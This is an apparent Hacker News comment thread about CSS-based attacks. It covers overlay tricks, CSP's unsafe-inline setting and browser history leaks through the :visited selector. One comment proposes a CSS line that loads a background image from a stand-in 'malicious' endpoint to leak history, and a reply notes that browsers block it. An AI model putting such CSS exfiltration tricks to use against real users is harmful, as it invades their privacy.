Can you get pwned with CSS? | Hacker News Reader

Can you get pwned with CSS?

scotthelme.co.uk

51 pointsmooreds28 comments

an attacker could use css to cover a login input and button with their own elements.

Without html injection just think about what might be done to disrupt a site. Here on HN you could swap the comments and hide or flag links and make the site unusable. If it were on a page with a delete link or a close account link, you could trick someone into irrecoverable data loss.

Thinking only about key loggers is very narrow thinking.

Yes [1] one can be pwned with CSS. There may also be some data leakage risks. [2]

[1] - https://thejh.net/misc/website-terminal-copy-paste

[2] - https://www.mike-gualtieri.com/css-exfil-vulnerability-teste...

Unfortunately we use Telerik components (Kendo for Blazor specifically) and we have no option but to leave unsafe-inline enabled.

In addition, 'unsafe-inline' violates separation of content and presentation. I'm surprised that modern frameworks require it, when it should receive the same hate that table-based layouts and !important have.

it also creates a giant attack surface because its a giant pile of C/C++ (was, dunno current state). the solution has always been to isolate browsers and run one isolated browser per "web app" until the web finally dies.

You can still infer browser history easily by the old CSS :visited Selector and being slightly more clever than a houseplant.

Would you care to enlighten us houseplants as to how? The :visited selector is limited to a very small subset of CSS properties[1] for exactly this reason; I’m sure if you have an exploit that can be used to extract browsing history the browsers will be very interested in a security report.

[1]: https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and...

Check the colours of links, if they're blue, they're new, if they're purple, they've been visited. It works the same way for anyone looking at the page, not just the user's eyes.

What's the last product you've seen that still uses this color system?

Google search

Sure, it shows those colours to the user. But they're not exposed to the website; if it tries querying the colour of the links, the browser returns the same blue value for all of them, visited or not.

It used to be that CSS leaked all visitor states with no user interaction. This was patched by browsers a few years back, but there are still ways to extract some data from :visited, it just requires user interaction now.

https://frantzmiccoli.github.io/visited-captcha-history/

That's pretty limited though. You can only check urls (not domains), and only as many urls as there are characters in the captcha.

It's a clever hack though!

That's not true, did you read the MDN page?

> The window.getComputedStyle method, and similar functions such as element.querySelector, will always return values indicating that a user has never visited any of the links on a page.

if one's feeling determined and creative there's the possibility to render the link to a canvas and get pixel colors

I believe if you can do this, it would be considered an exploit. You're not supposed to be able to.

IIRC rendering the html to a canvas is done with a empty history, so all links will look unvisited.

Links in images are always rendered as unvisited. See https://output.jsbin.com/wowalokusa, the first is an HTML link, the second is a link in an SVG, the third is a link in an SVG in an image.

yep, it seems I was mistaken, rendering links to SVG/Canvas wouldn't work

I did, before it was fixed[1]:

> For many years the CSS :visited selector has been a vector for querying a user’s history. It’s not particularly dangerous by itself, but when it’s combined with getComputedStyle() in JavaScript it means that someone can walk through your history and figure out where you’ve been. And quickly – some tests show the ability to test 210,000 URLs per minute. At that rate, it’s possible to brute force a lot of your history or at least establish your identity through fingerprinting. Given that browsers often keep history for a long time it can reveal quite a bit about where you’ve been on the web.

> At Mozilla we’re serious about protecting people’s privacy, so we’re going to fix this problem for our users.

[1] https://hacks.mozilla.org/2010/03/privacy-related-changes-co...

Regardless of it being fixed (thanks for the update) it's still possible to do this via timing attacks. I wouldn't be surprised if the sieve that is a browser still allowed it in some other way.

I've disabled :visited in about:config after reading it as a good hardening practice

No longer necessary, all major browsers already patch that hole. JS doesn't see the state of visited links differently than normal links anymore.

Awesome. Great to know.

Wait. Couldn't this still be used? a:visited { background: url(http://malicious/endpoint) }

No. As per https://developer.mozilla.org/en-US/docs/Web/CSS/:visited,

> For privacy reasons, the styles that can be modified using this selector are very limited.

(and loading a background image isn't one of them).

Anyone else read that as Counterstrike:Source for a second?

For that, I've always seen "Source" spelled out (or spoken), even when "CS" is abbreviated.

yeah, tough crowd. I thought it was a play on words, since the article mentions being pwned. :)

Reply on news.ycombinator.com